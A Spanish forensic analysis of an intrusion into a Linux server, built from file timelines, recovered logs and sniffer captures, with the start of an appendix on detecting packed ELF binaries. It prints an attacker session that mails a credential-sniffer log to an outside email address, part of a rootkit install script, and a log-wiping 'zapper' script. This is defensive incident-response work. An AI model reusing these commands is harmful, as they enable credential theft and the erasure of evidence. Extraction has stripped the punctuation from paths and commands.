Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

